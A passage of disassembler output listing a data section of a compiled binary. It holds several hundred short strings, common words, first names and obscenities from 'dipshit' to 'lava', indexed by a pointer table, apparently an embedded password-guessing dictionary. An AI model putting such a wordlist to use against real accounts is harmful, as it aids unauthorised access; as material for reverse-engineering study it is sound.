aDipshit	db 'dipshit',0          ; DATA XREF: .nsp0:0043AA3Co
aDirect		db 'direct',0           ; DATA XREF: .nsp0:0043AA40o
		align 4
aDirector	db 'director',0
		align 10h
aDirty		db 'dirty',0
		align 4
aDisc_0		db 'disc',0
		align 10h
aDiscipli	db 'discipli',0
		align 4
aDisclose	db 'disclose',0
		align 4
aDiscover	db 'discover',0
		align 4
aDisk_0		db 'disk',0
		align 4
aDiskette	db 'diskette',0
		align 4
aDisney		db 'disney',0
		align 10h
aDisplay	db 'display',0
aDoctor		db 'doctor',0
		align 10h
aDollar		db 'dollar',0
		align 4
aDong		db 'dong',0
		align 10h
aDoom		db 'doom',0
		align 4
aDoom2		db 'doom2',0
		align 10h
aDoomii		db 'doomii',0
		align 4
aDoomsday	db 'doomsday',0
		align 4
aDoonesbu	db 'doonesbu',0
		align 10h
aDoor		db 'door',0
		align 4
aDoors		db 'doors',0
		align 10h
aDope		db 'dope',0
		align 4
aDownload	db 'download',0
		align 4
aDragon		db 'dragon',0
		align 4
aDrdoom		db 'drdoom',0
		align 4
aDrive		db 'drive',0            ; DATA XREF: .nsp0:0043AAA4o
		align 4
aDrought	db 'drought',0          ; DATA XREF: .nsp0:0043AAA8o
aDuck		db 'duck',0             ; DATA XREF: .nsp0:0043AAACo
		align 4
aDude		db 'dude',0             ; DATA XREF: .nsp0:0043AAB0o
		align 4
aDuelist	db 'duelist',0          ; DATA XREF: .nsp0:0043AAB4o
aDuke		db 'duke',0             ; DATA XREF: .nsp0:0043AAB8o
		align 4
aDulce		db 'dulce',0            ; DATA XREF: .nsp0:0043AABCo
		align 4
aDuncan		db 'duncan',0           ; DATA XREF: .nsp0:0043AAC0o
		align 4
aDungeon	db 'dungeon',0          ; DATA XREF: .nsp0:0043AAC4o
aDyke		db 'dyke',0             ; DATA XREF: .nsp0:0043AAC8o
		align 4
aEager		db 'eager',0            ; DATA XREF: .nsp0:0043AACCo
		align 4
aEagle		db 'eagle',0            ; DATA XREF: .nsp0:0043AAD0o
		align 4
aEarth		db 'earth',0            ; DATA XREF: .nsp0:0043AAD4o
		align 4
aEasier		db 'easier',0           ; DATA XREF: .nsp0:0043AAD8o
		align 4
aEasy		db 'easy',0             ; DATA XREF: .nsp0:0043AADCo
		align 4
aEatme		db 'eatme',0            ; DATA XREF: .nsp0:0043AAE0o
		align 4
aEcho		db 'echo',0             ; DATA XREF: .nsp0:0043AAE4o
		align 4
aEddie		db 'eddie',0            ; DATA XREF: .nsp0:0043AAE8o
		align 4
aEdges		db 'edges',0            ; DATA XREF: .nsp0:0043AAECo
		align 4
aEdinburg	db 'edinburg',0         ; DATA XREF: .nsp0:0043AAF0o
		align 4
aEdit		db 'edit',0             ; DATA XREF: .nsp0:0043AAF4o
		align 10h
aEdition	db 'edition',0          ; DATA XREF: .nsp0:0043AAF8o
aEducation	db 'education',0        ; DATA XREF: .nsp0:0043AAFCo
		align 4
aEducatio	db 'educatio',0         ; DATA XREF: .nsp0:0043AB00o
		align 10h
aEdwin		db 'edwin',0            ; DATA XREF: .nsp0:0043AB04o
		align 4
aEdwina		db 'edwina',0           ; DATA XREF: .nsp0:0043AB08o
		align 10h
aEgghead	db 'egghead',0          ; DATA XREF: .nsp0:0043AB0Co
aEiderdow	db 'eiderdow',0         ; DATA XREF: .nsp0:0043AB10o
		align 4
aEileen		db 'eileen',0           ; DATA XREF: .nsp0:0043AB14o
		align 4
aEinsiein	db 'einsiein',0         ; DATA XREF: .nsp0:0043AB18o
		align 4
aEinstein	db 'einstein',0         ; DATA XREF: .nsp0:0043AB1Co
		align 4
aElaine		db 'elaine',0           ; DATA XREF: .nsp0:0043AB20o
		align 4
aElanor		db 'elanor',0           ; DATA XREF: .nsp0:0043AB24o
		align 4
aElectron	db 'electron',0         ; DATA XREF: .nsp0:0043AB28o
		align 10h
aElephant	db 'elephant',0         ; DATA XREF: .nsp0:0043AB2Co
		align 4
aElizabet	db 'elizabet',0         ; DATA XREF: .nsp0:0043AB30o
		align 4
aEllen		db 'ellen',0            ; DATA XREF: .nsp0:0043AB34o
		align 10h
aEmail_0	db 'email',0            ; DATA XREF: .nsp0:0043AB38o
		align 4
aEmerald	db 'emerald',0          ; DATA XREF: .nsp0:0043AB3Co
aEmily		db 'emily',0            ; DATA XREF: .nsp0:0043AB40o
		align 4
aEmmanuel	db 'emmanuel',0         ; DATA XREF: .nsp0:0043AB44o
		align 4
aEnemy		db 'enemy',0            ; DATA XREF: .nsp0:0043AB48o
		align 4
aEngine		db 'engine',0           ; DATA XREF: .nsp0:0043AB4Co
		align 4
aEngineer	db 'engineer',0         ; DATA XREF: .nsp0:0043AB50o
		align 10h
aEngland_0	db 'england',0          ; DATA XREF: .nsp0:0043AB54o
aEnglish_0	db 'english',0          ; DATA XREF: .nsp0:0043AB58o
aEnter		db 'enter',0            ; DATA XREF: .nsp0:0043AB5Co
		align 4
aEnterpri	db 'enterpri',0         ; DATA XREF: .nsp0:0043AB60o
		align 4
aEnzyme		db 'enzyme',0           ; DATA XREF: .nsp0:0043AB64o
		align 4
aErenity	db 'erenity',0          ; DATA XREF: .nsp0:0043AB68o
aEric		db 'eric',0             ; DATA XREF: .nsp0:0043AB6Co
		align 4
aErica		db 'erica',0            ; DATA XREF: .nsp0:0043AB70o
		align 4
aErika		db 'erika',0            ; DATA XREF: .nsp0:0043AB74o
		align 4
aErin		db 'erin',0             ; DATA XREF: .nsp0:0043AB78o
		align 4
aErotic		db 'erotic',0           ; DATA XREF: .nsp0:0043AB7Co
		align 4
aErsatz		db 'ersatz',0           ; DATA XREF: .nsp0:0043AB80o
		align 4
aEstablis	db 'establis',0         ; DATA XREF: .nsp0:0043AB84o
		align 10h
aEstate		db 'estate',0           ; DATA XREF: .nsp0:0043AB88o
		align 4
aEternity	db 'eternity',0         ; DATA XREF: .nsp0:0043AB8Co
		align 4
aEuclid		db 'euclid',0           ; DATA XREF: .nsp0:0043AB90o
		align 4
aEvelyn		db 'evelyn',0           ; DATA XREF: .nsp0:0043AB94o
		align 4
aExpert		db 'expert',0           ; DATA XREF: .nsp0:0043AB98o
		align 4
aExplode	db 'explode',0          ; DATA XREF: .nsp0:0043AB9Co
aExplore	db 'explore',0          ; DATA XREF: .nsp0:0043ABA0o
aExplorer	db 'explorer',0         ; DATA XREF: .nsp0:0043ABA4o
		align 4
aExplosiv	db 'explosiv',0         ; DATA XREF: .nsp0:0043ABA8o
		align 4
aExtensio	db 'extensio',0         ; DATA XREF: .nsp0:0043ABACo
		align 10h
aFairway	db 'fairway',0          ; DATA XREF: .nsp0:0043ABB0o
aFaith		db 'faith',0            ; DATA XREF: .nsp0:0043ABB4o
		align 10h
aFalcon		db 'falcon',0           ; DATA XREF: .nsp0:0043ABB8o
		align 4
aFalse		db 'false',0            ; DATA XREF: .nsp0:0043ABBCo
		align 10h
aFamily		db 'family',0           ; DATA XREF: .nsp0:0043ABC0o
		align 4
aFarad		db 'farad',0            ; DATA XREF: .nsp0:0043ABC4o
		align 10h
aFaraday	db 'faraday',0          ; DATA XREF: .nsp0:0043ABC8o
aFart		db 'fart',0             ; DATA XREF: .nsp0:0043ABCCo
		align 10h
aFast		db 'fast',0             ; DATA XREF: .nsp0:0043ABD0o
		align 4
aFear		db 'fear',0             ; DATA XREF: .nsp0:0043ABD4o
		align 10h
aFeds		db 'feds',0             ; DATA XREF: .nsp0:0043ABD8o
		align 4
aFelicia	db 'felicia',0          ; DATA XREF: .nsp0:0043ABDCo
aFender		db 'fender',0           ; DATA XREF: .nsp0:0043ABE0o
		align 4
aFermat		db 'fermat',0           ; DATA XREF: .nsp0:0043ABE4o
		align 10h
aFerrari	db 'ferrari',0          ; DATA XREF: .nsp0:0043ABE8o
aFidelity	db 'fidelity',0         ; DATA XREF: .nsp0:0043ABECo
		align 4
aField		db 'field',0            ; DATA XREF: .nsp0:0043ABF0o
		align 4
aFight		db 'fight',0            ; DATA XREF: .nsp0:0043ABF4o
		align 4
aFile_0		db 'file',0             ; DATA XREF: .nsp0:0043ABF8o
		align 4
aFinite		db 'finite',0           ; DATA XREF: .nsp0:0043ABFCo
		align 4
aFire		db 'fire',0             ; DATA XREF: .nsp0:0043AC00o
		align 4
aFirewall	db 'firewall',0         ; DATA XREF: .nsp0:0043AC04o
		align 4
aFishers	db 'fishers',0          ; DATA XREF: .nsp0:0043AC08o
aFlakes		db 'flakes',0           ; DATA XREF: .nsp0:0043AC0Co
		align 4
aFloat		db 'float',0            ; DATA XREF: .nsp0:0043AC10o
		align 10h
aFlorida	db 'florida',0          ; DATA XREF: .nsp0:0043AC14o
aFlower		db 'flower',0           ; DATA XREF: .nsp0:0043AC18o
		align 10h
aFlowers	db 'flowers',0          ; DATA XREF: .nsp0:0043AC1Co
aFood		db 'food',0             ; DATA XREF: .nsp0:0043AC20o
		align 10h
aFool		db 'fool',0             ; DATA XREF: .nsp0:0043AC24o
		align 4
aFoolproo	db 'foolproo',0         ; DATA XREF: .nsp0:0043AC28o
		align 4
aFootball	db 'football',0         ; DATA XREF: .nsp0:0043AC2Co
		align 10h
aForce		db 'force',0            ; DATA XREF: .nsp0:0043AC30o
		align 4
aFord		db 'ford',0             ; DATA XREF: .nsp0:0043AC34o
		align 10h
aForesigh	db 'foresigh',0         ; DATA XREF: .nsp0:0043AC38o
		align 4
aForever	db 'forever',0          ; DATA XREF: .nsp0:0043AC3Co
aForm		db 'form',0             ; DATA XREF: .nsp0:0043AC40o
		align 4
aFormat		db 'format',0           ; DATA XREF: .nsp0:0043AC44o
		align 4
aFornicat	db 'fornicat',0         ; DATA XREF: .nsp0:0043AC48o
		align 10h
aForsythe	db 'forsythe',0         ; DATA XREF: .nsp0:0043AC4Co
		align 4
aFourier	db 'fourier',0          ; DATA XREF: .nsp0:0043AC50o
aFoxtrot	db 'foxtrot',0          ; DATA XREF: .nsp0:0043AC54o
aFrance_0	db 'france',0           ; DATA XREF: .nsp0:0043AC58o
		align 4
aFrank		db 'frank',0            ; DATA XREF: .nsp0:0043AC5Co
		align 4
aFreak		db 'freak',0            ; DATA XREF: .nsp0:0043AC60o
		align 4
aFred		db 'fred',0             ; DATA XREF: .nsp0:0043AC64o
		align 4
aFree_0		db 'free',0             ; DATA XREF: .nsp0:0043AC68o
		align 4
aFreedom	db 'freedom',0          ; DATA XREF: .nsp0:0043AC6Co
aFrench_0	db 'french',0           ; DATA XREF: .nsp0:0043AC70o
		align 4
aFriday_0	db 'friday',0           ; DATA XREF: .nsp0:0043AC74o
		align 4
aFriend		db 'friend',0           ; DATA XREF: .nsp0:0043AC78o
		align 4
aFriends	db 'friends',0          ; DATA XREF: .nsp0:0043AC7Co
aFrighten	db 'frighten',0         ; DATA XREF: .nsp0:0043AC80o
		align 4
aFrog		db 'frog',0             ; DATA XREF: .nsp0:0043AC84o
		align 10h
aFryguy		db 'fryguy',0           ; DATA XREF: .nsp0:0043AC88o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .nsp0:0043AC8Co
		align 10h
aFucker		db 'fucker',0
		align 4
aFucking	db 'fucking',0
aFuckme		db 'fuckme',0
		align 4
aFuckyou	db 'fuckyou',0
aFudge		db 'fudge',0
		align 4
aFunction	db 'function',0
		align 4
aFungible	db 'fungible',0
		align 10h
aGabriel	db 'gabriel',0
aGames		db 'games',0
		align 10h
aGardner	db 'gardner',0
aGarfield	db 'garfield',0
		align 4
aGateway	db 'gateway',0
aGatherin	db 'gatherin',0
		align 4
aGatt		db 'gatt',0
		align 10h
aGauss		db 'gauss',0
		align 4
aGeorge		db 'george',0
		align 10h
aGerm		db 'germ',0
		align 4
aGertrude	db 'gertrude',0
		align 4
aGhost		db 'ghost',0            ; DATA XREF: .nsp0:0043ACD8o
		align 4
aGibson		db 'gibson',0           ; DATA XREF: .nsp0:0043ACDCo
		align 4
aGigabyte	db 'gigabyte',0         ; DATA XREF: .nsp0:0043ACE0o
		align 10h
aGina		db 'gina',0             ; DATA XREF: .nsp0:0043ACE4o
		align 4
aGinger		db 'ginger',0           ; DATA XREF: .nsp0:0043ACE8o
		align 10h
aGirl		db 'girl',0             ; DATA XREF: .nsp0:0043ACECo
		align 4
aGlacier	db 'glacier',0          ; DATA XREF: .nsp0:0043ACF0o
aGold		db 'gold',0             ; DATA XREF: .nsp0:0043ACF4o
		align 4
aGolden		db 'golden',0           ; DATA XREF: .nsp0:0043ACF8o
		align 10h
aGolf		db 'golf',0             ; DATA XREF: .nsp0:0043ACFCo
		align 4
aGolfer		db 'golfer',0           ; DATA XREF: .nsp0:0043AD00o
		align 10h
aGood		db 'good',0             ; DATA XREF: .nsp0:0043AD04o
		align 4
aGorgeous	db 'gorgeous',0         ; DATA XREF: .nsp0:0043AD08o
		align 4
aGorges		db 'gorges',0           ; DATA XREF: .nsp0:0043AD0Co
		align 4
aGosling	db 'gosling',0          ; DATA XREF: .nsp0:0043AD10o
aGouge		db 'gouge',0            ; DATA XREF: .nsp0:0043AD14o
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: .nsp0:0043AD18o
		align 4
aGrades		db 'grades',0           ; DATA XREF: .nsp0:0043AD1Co
		align 10h
aGraham		db 'graham',0           ; DATA XREF: .nsp0:0043AD20o
		align 4
aGrahm		db 'grahm',0            ; DATA XREF: .nsp0:0043AD24o
		align 10h
aGrand		db 'grand',0            ; DATA XREF: .nsp0:0043AD28o
		align 4
aGrant		db 'grant',0            ; DATA XREF: .nsp0:0043AD2Co
		align 10h
aGreat		db 'great',0            ; DATA XREF: .nsp0:0043AD30o
		align 4
aGreen		db 'green',0            ; DATA XREF: .nsp0:0043AD34o
		align 10h
aGroup		db 'group',0            ; DATA XREF: .nsp0:0043AD38o
		align 4
aGryphon	db 'gryphon',0          ; DATA XREF: .nsp0:0043AD3Co
aGuardian	db 'guardian',0         ; DATA XREF: .nsp0:0043AD40o
		align 4
aGucci		db 'gucci',0            ; DATA XREF: .nsp0:0043AD44o
		align 4
aGuess		db 'guess',0            ; DATA XREF: .nsp0:0043AD48o
		align 4
aGuitar		db 'guitar',0           ; DATA XREF: .nsp0:0043AD4Co
		align 4
aGumption	db 'gumption',0         ; DATA XREF: .nsp0:0043AD50o
		align 10h
aGuntis		db 'guntis',0           ; DATA XREF: .nsp0:0043AD54o
		align 4
aHack		db 'hack',0             ; DATA XREF: .nsp0:0043AD58o
		align 10h
aHacked		db 'hacked',0           ; DATA XREF: .nsp0:0043AD5Co
		align 4
aHagar		db 'hagar',0            ; DATA XREF: .nsp0:0043AD60o
		align 10h
aHair		db 'hair',0             ; DATA XREF: .nsp0:0043AD64o
		align 4
aHallowee	db 'hallowee',0         ; DATA XREF: .nsp0:0043AD68o
		align 4
aHamlet		db 'hamlet',0           ; DATA XREF: .nsp0:0043AD6Co
		align 4
aHamster	db 'hamster',0          ; DATA XREF: .nsp0:0043AD70o
aHandel		db 'handel',0           ; DATA XREF: .nsp0:0043AD74o
		align 4
aHandily	db 'handily',0          ; DATA XREF: .nsp0:0043AD78o
aHandjob	db 'handjob',0          ; DATA XREF: .nsp0:0043AD7Co
aHappenin	db 'happenin',0         ; DATA XREF: .nsp0:0043AD80o
		align 4
aHard		db 'hard',0             ; DATA XREF: .nsp0:0043AD84o
		align 10h
aHardcore	db 'hardcore',0         ; DATA XREF: .nsp0:0043AD88o
		align 4
aHarddriv	db 'harddriv',0         ; DATA XREF: .nsp0:0043AD8Co
		align 4
aHarmony	db 'harmony',0          ; DATA XREF: .nsp0:0043AD90o
aHarold		db 'harold',0           ; DATA XREF: .nsp0:0043AD94o
		align 4
aHarvey		db 'harvey',0           ; DATA XREF: .nsp0:0043AD98o
		align 10h
aHate		db 'hate',0             ; DATA XREF: .nsp0:0043AD9Co
		align 4
aHaven		db 'haven',0            ; DATA XREF: .nsp0:0043ADA0o
		align 10h
aHawaii		db 'hawaii',0           ; DATA XREF: .nsp0:0043ADA4o
		align 4
aHead		db 'head',0             ; DATA XREF: .nsp0:0043ADA8o
		align 10h
aHeadbang	db 'headbang',0         ; DATA XREF: .nsp0:0043ADACo
		align 4
aHeat		db 'heat',0             ; DATA XREF: .nsp0:0043ADB0o
		align 4
aHeathen	db 'heathen',0          ; DATA XREF: .nsp0:0043ADB4o
aHeather	db 'heather',0          ; DATA XREF: .nsp0:0043ADB8o
aHebrides	db 'hebrides',0         ; DATA XREF: .nsp0:0043ADBCo
		align 10h
aHeidi		db 'heidi',0            ; DATA XREF: .nsp0:0043ADC0o
		align 4
aHeinlein	db 'heinlein',0         ; DATA XREF: .nsp0:0043ADC4o
		align 4
aHell		db 'hell',0             ; DATA XREF: .nsp0:0043ADC8o
		align 4
aHello		db 'hello',0            ; DATA XREF: .nsp0:0043ADCCo
		align 4
aHelp		db 'help',0             ; DATA XREF: .nsp0:0043ADD0o
		align 4
aHerb		db 'herb',0             ; DATA XREF: .nsp0:0043ADD4o
		align 4
aHerbert	db 'herbert',0          ; DATA XREF: .nsp0:0043ADD8o
aHero		db 'hero',0             ; DATA XREF: .nsp0:0043ADDCo
		align 4
aHeroin		db 'heroin',0           ; DATA XREF: .nsp0:0043ADE0o
		align 4
aHewlett	db 'hewlett',0          ; DATA XREF: .nsp0:0043ADE4o
aHexadeci	db 'hexadeci',0         ; DATA XREF: .nsp0:0043ADE8o
		align 10h
aHiawatha	db 'hiawatha',0         ; DATA XREF: .nsp0:0043ADECo
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: .nsp0:0043ADF0o
		align 4
aHidden		db 'hidden',0           ; DATA XREF: .nsp0:0043ADF4o
		align 10h
aHigh		db 'high',0             ; DATA XREF: .nsp0:0043ADF8o
		align 4
aHighland	db 'highland',0         ; DATA XREF: .nsp0:0043ADFCo
		align 4
aHitler		db 'hitler',0           ; DATA XREF: .nsp0:0043AE00o
		align 4
aHits		db 'hits',0             ; DATA XREF: .nsp0:0043AE04o
		align 4
aHole		db 'hole',0             ; DATA XREF: .nsp0:0043AE08o
		align 4
aHolly		db 'holly',0            ; DATA XREF: .nsp0:0043AE0Co
		align 4
aHollywoo	db 'hollywoo',0         ; DATA XREF: .nsp0:0043AE10o
		align 10h
aHomepage	db 'homepage',0         ; DATA XREF: .nsp0:0043AE14o
		align 4
aHomer		db 'homer',0            ; DATA XREF: .nsp0:0043AE18o
		align 4
aHomework	db 'homework',0         ; DATA XREF: .nsp0:0043AE1Co
		align 10h
aHoney		db 'honey',0            ; DATA XREF: .nsp0:0043AE20o
		align 4
aHooker		db 'hooker',0           ; DATA XREF: .nsp0:0043AE24o
		align 10h
aHooters	db 'hooters',0          ; DATA XREF: .nsp0:0043AE28o
aHorny		db 'horny',0            ; DATA XREF: .nsp0:0043AE2Co
		align 10h
aHorrible	db 'horrible',0         ; DATA XREF: .nsp0:0043AE30o
		align 4
aHorror		db 'horror',0           ; DATA XREF: .nsp0:0043AE34o
		align 4
aHorse		db 'horse',0            ; DATA XREF: .nsp0:0043AE38o
		align 4
aHorus		db 'horus',0            ; DATA XREF: .nsp0:0043AE3Co
		align 4
aHost		db 'host',0             ; DATA XREF: .nsp0:0043AE40o
		align 4
aHotdog		db 'hotdog',0           ; DATA XREF: .nsp0:0043AE44o
		align 4
aHotel		db 'hotel',0            ; DATA XREF: .nsp0:0043AE48o
		align 4
aHttp_0		db 'http',0             ; DATA XREF: .nsp0:0043AE4Co
		align 4
aHunt		db 'hunt',0             ; DATA XREF: .nsp0:0043AE50o
		align 4
aHunter		db 'hunter',0           ; DATA XREF: .nsp0:0043AE54o
		align 4
aHutchins	db 'hutchins',0         ; DATA XREF: .nsp0:0043AE58o
		align 10h
aHydrogen	db 'hydrogen',0         ; DATA XREF: .nsp0:0043AE5Co
		align 4
aHyper		db 'hyper',0            ; DATA XREF: .nsp0:0043AE60o
		align 4
aHypertxt	db 'hypertxt',0         ; DATA XREF: .nsp0:0043AE64o
		align 10h
aIcecream	db 'icecream',0         ; DATA XREF: .nsp0:0043AE68o
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: .nsp0:0043AE6Co
		align 4
aImage		db 'image',0            ; DATA XREF: .nsp0:0043AE70o
		align 10h
aImbrogli	db 'imbrogli',0         ; DATA XREF: .nsp0:0043AE74o
		align 4
aImmortal	db 'immortal',0         ; DATA XREF: .nsp0:0043AE78o
		align 4
aImperial	db 'imperial',0         ; DATA XREF: .nsp0:0043AE7Co
		align 4
aInclude	db 'include',0          ; DATA XREF: .nsp0:0043AE80o
aIndia		db 'india',0            ; DATA XREF: .nsp0:0043AE84o
		align 4
aIndian		db 'indian',0           ; DATA XREF: .nsp0:0043AE88o
		align 4
aIndiana	db 'indiana',0          ; DATA XREF: .nsp0:0043AE8Co
aIndians	db 'indians',0          ; DATA XREF: .nsp0:0043AE90o
aIngres		db 'ingres',0           ; DATA XREF: .nsp0:0043AE94o
		align 4
aIngress	db 'ingress',0          ; DATA XREF: .nsp0:0043AE98o
aIngrid		db 'ingrid',0           ; DATA XREF: .nsp0:0043AE9Co
		align 4
aInna		db 'inna',0             ; DATA XREF: .nsp0:0043AEA0o
		align 4
aInnocuou	db 'innocuou',0         ; DATA XREF: .nsp0:0043AEA4o
		align 4
aInput		db 'input',0            ; DATA XREF: .nsp0:0043AEA8o
		align 10h
aInside		db 'inside',0           ; DATA XREF: .nsp0:0043AEACo
		align 4
aInteger	db 'integer',0          ; DATA XREF: .nsp0:0043AEB0o
aInvent		db 'invent',0           ; DATA XREF: .nsp0:0043AEB4o
		align 4
aIrene		db 'irene',0            ; DATA XREF: .nsp0:0043AEB8o
		align 10h
aIrishman	db 'irishman',0         ; DATA XREF: .nsp0:0043AEBCo
		align 4
aIsis		db 'isis',0             ; DATA XREF: .nsp0:0043AEC0o
		align 4
aJackie		db 'jackie',0           ; DATA XREF: .nsp0:0043AEC4o
		align 4
aJail		db 'jail',0             ; DATA XREF: .nsp0:0043AEC8o
		align 4
aJane		db 'jane',0             ; DATA XREF: .nsp0:0043AECCo
		align 4
aJanet		db 'janet',0            ; DATA XREF: .nsp0:0043AED0o
		align 4
aJanice		db 'janice',0           ; DATA XREF: .nsp0:0043AED4o
		align 4
aJanie		db 'janie',0            ; DATA XREF: .nsp0:0043AED8o
		align 4
aJapan		db 'japan',0            ; DATA XREF: .nsp0:0043AEDCo
		align 4
aJasmin		db 'jasmin',0           ; DATA XREF: .nsp0:0043AEE0o
		align 4
aJava		db 'java',0             ; DATA XREF: .nsp0:0043AEE4o
		align 4
aJazz		db 'jazz',0             ; DATA XREF: .nsp0:0043AEE8o
		align 4
aJean		db 'jean',0             ; DATA XREF: .nsp0:0043AEECo
		align 4
aJeanne		db 'jeanne',0           ; DATA XREF: .nsp0:0043AEF0o
		align 4
aJeff		db 'jeff',0             ; DATA XREF: .nsp0:0043AEF4o
		align 4
aJenni		db 'jenni',0            ; DATA XREF: .nsp0:0043AEF8o
		align 4
aJennifer	db 'jennifer',0         ; DATA XREF: .nsp0:0043AEFCo
		align 10h
aJenny		db 'jenny',0            ; DATA XREF: .nsp0:0043AF00o
		align 4
aJerry		db 'jerry',0            ; DATA XREF: .nsp0:0043AF04o
		align 10h
aJerusale	db 'jerusale',0         ; DATA XREF: .nsp0:0043AF08o
		align 4
aJessica	db 'jessica',0          ; DATA XREF: .nsp0:0043AF0Co
aJester		db 'jester',0           ; DATA XREF: .nsp0:0043AF10o
		align 4
aJewelry	db 'jewelry',0          ; DATA XREF: .nsp0:0043AF14o
aJill		db 'jill',0             ; DATA XREF: .nsp0:0043AF18o
		align 4
aJixian		db 'jixian',0           ; DATA XREF: .nsp0:0043AF1Co
		align 4
aJoanne		db 'joanne',0           ; DATA XREF: .nsp0:0043AF20o
		align 4
aJody		db 'jody',0             ; DATA XREF: .nsp0:0043AF24o
		align 4
aJohn		db 'john',0             ; DATA XREF: .nsp0:0043AF28o
		align 4
aJohndoe	db 'johndoe',0          ; DATA XREF: .nsp0:0043AF2Co
aJohnny		db 'johnny',0           ; DATA XREF: .nsp0:0043AF30o
		align 4
aJoseph		db 'joseph',0           ; DATA XREF: .nsp0:0043AF34o
		align 4
aJoshua		db 'joshua',0           ; DATA XREF: .nsp0:0043AF38o
		align 4
aJournal	db 'journal',0          ; DATA XREF: .nsp0:0043AF3Co
aJoyce		db 'joyce',0            ; DATA XREF: .nsp0:0043AF40o
		align 4
aJudith		db 'judith',0           ; DATA XREF: .nsp0:0043AF44o
		align 4
aJudy		db 'judy',0             ; DATA XREF: .nsp0:0043AF48o
		align 4
aJuggle		db 'juggle',0           ; DATA XREF: .nsp0:0043AF4Co
		align 4
aJuicy		db 'juicy',0            ; DATA XREF: .nsp0:0043AF50o
		align 4
aJulia		db 'julia',0            ; DATA XREF: .nsp0:0043AF54o
		align 4
aJulie		db 'julie',0            ; DATA XREF: .nsp0:0043AF58o
		align 4
aJuliet		db 'juliet',0           ; DATA XREF: .nsp0:0043AF5Co
		align 4
aJune_0		db 'june',0             ; DATA XREF: .nsp0:0043AF60o
		align 4
aJupiter	db 'jupiter',0          ; DATA XREF: .nsp0:0043AF64o
aKaka		db 'kaka',0             ; DATA XREF: .nsp0:0043AF68o
		align 4
aKaren		db 'karen',0            ; DATA XREF: .nsp0:0043AF6Co
		align 4
aKarie		db 'karie',0            ; DATA XREF: .nsp0:0043AF70o
		align 4
aKarina		db 'karina',0           ; DATA XREF: .nsp0:0043AF74o
		align 4
aKatana		db 'katana',0           ; DATA XREF: .nsp0:0043AF78o
		align 4
aKate		db 'kate',0             ; DATA XREF: .nsp0:0043AF7Co
		align 4
aKathleen	db 'kathleen',0         ; DATA XREF: .nsp0:0043AF80o
		align 10h
aKathrine	db 'kathrine',0         ; DATA XREF: .nsp0:0043AF84o
		align 4
aKathy		db 'kathy',0            ; DATA XREF: .nsp0:0043AF88o
		align 4
aKatina		db 'katina',0           ; DATA XREF: .nsp0:0043AF8Co
		align 4
aKatrina	db 'katrina',0          ; DATA XREF: .nsp0:0043AF90o
aKelly		db 'kelly',0            ; DATA XREF: .nsp0:0043AF94o
		align 4
aKeri		db 'keri',0             ; DATA XREF: .nsp0:0043AF98o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: .nsp0:0043AF9Co
		align 4
aKernel		db 'kernel',0           ; DATA XREF: .nsp0:0043AFA0o
		align 4
aKerri		db 'kerri',0            ; DATA XREF: .nsp0:0043AFA4o
		align 4
aKerrie		db 'kerrie',0           ; DATA XREF: .nsp0:0043AFA8o
		align 4
aKerry		db 'kerry',0            ; DATA XREF: .nsp0:0043AFACo
		align 4
aKevin		db 'kevin',0            ; DATA XREF: .nsp0:0043AFB0o
		align 4
aKewl		db 'kewl',0             ; DATA XREF: .nsp0:0043AFB4o
		align 4
aKeybord	db 'keybord',0          ; DATA XREF: .nsp0:0043AFB8o
aKeyin		db 'keyin',0            ; DATA XREF: .nsp0:0043AFBCo
		align 4
aKeyword	db 'keyword',0          ; DATA XREF: .nsp0:0043AFC0o
aKids		db 'kids',0             ; DATA XREF: .nsp0:0043AFC4o
		align 4
aKill_0		db 'kill',0             ; DATA XREF: .nsp0:0043AFC8o
		align 4
aKillthem	db 'killthem',0         ; DATA XREF: .nsp0:0043AFCCo
		align 10h
aKilo		db 'kilo',0             ; DATA XREF: .nsp0:0043AFD0o
		align 4
aKimberly	db 'kimberly',0         ; DATA XREF: .nsp0:0043AFD4o
		align 4
aKing		db 'king',0             ; DATA XREF: .nsp0:0043AFD8o
		align 4
aKirk		db 'kirk',0             ; DATA XREF: .nsp0:0043AFDCo
		align 4
aKirkland	db 'kirkland',0         ; DATA XREF: .nsp0:0043AFE0o
		align 10h
aKiss		db 'kiss',0             ; DATA XREF: .nsp0:0043AFE4o
		align 4
aKissmyas	db 'kissmyas',0         ; DATA XREF: .nsp0:0043AFE8o
		align 4
aKitten		db 'kitten',0           ; DATA XREF: .nsp0:0043AFECo
		align 4
aKlingon	db 'klingon',0          ; DATA XREF: .nsp0:0043AFF0o
aKnife		db 'knife',0            ; DATA XREF: .nsp0:0043AFF4o
		align 4
aKnight		db 'knight',0           ; DATA XREF: .nsp0:0043AFF8o
		align 4
aKnightma	db 'knightma',0         ; DATA XREF: .nsp0:0043AFFCo
		align 10h
aKnown		db 'known',0            ; DATA XREF: .nsp0:0043B000o
		align 4
aKrista		db 'krista',0           ; DATA XREF: .nsp0:0043B004o
		align 10h
aKristen	db 'kristen',0          ; DATA XREF: .nsp0:0043B008o
aKristi		db 'kristi',0           ; DATA XREF: .nsp0:0043B00Co
		align 10h
aKristie	db 'kristie',0          ; DATA XREF: .nsp0:0043B010o
aKristin	db 'kristin',0          ; DATA XREF: .nsp0:0043B014o
aKristine	db 'kristine',0         ; DATA XREF: .nsp0:0043B018o
		align 4
aKristy		db 'kristy',0           ; DATA XREF: .nsp0:0043B01Co
		align 4
aLadies		db 'ladies',0           ; DATA XREF: .nsp0:0043B020o
		align 4
aLadle		db 'ladle',0            ; DATA XREF: .nsp0:0043B024o
		align 4
aLakers		db 'lakers',0           ; DATA XREF: .nsp0:0043B028o
		align 4
aLambda		db 'lambda',0           ; DATA XREF: .nsp0:0043B02Co
		align 4
aLaminati	db 'laminati',0         ; DATA XREF: .nsp0:0043B030o
		align 10h
aLana		db 'lana',0             ; DATA XREF: .nsp0:0043B034o
		align 4
aLaptop		db 'laptop',0           ; DATA XREF: .nsp0:0043B038o
		align 10h
aLara		db 'lara',0             ; DATA XREF: .nsp0:0043B03Co
		align 4
aLarkin		db 'larkin',0           ; DATA XREF: .nsp0:0043B040o
		align 10h
aLarry		db 'larry',0            ; DATA XREF: .nsp0:0043B044o
		align 4
aLaser		db 'laser',0            ; DATA XREF: .nsp0:0043B048o
		align 10h
aLaura		db 'laura',0            ; DATA XREF: .nsp0:0043B04Co
		align 4
aLava		db 'lava',0             ; DATA XREF: .nsp0:0043B050o
		align 10h
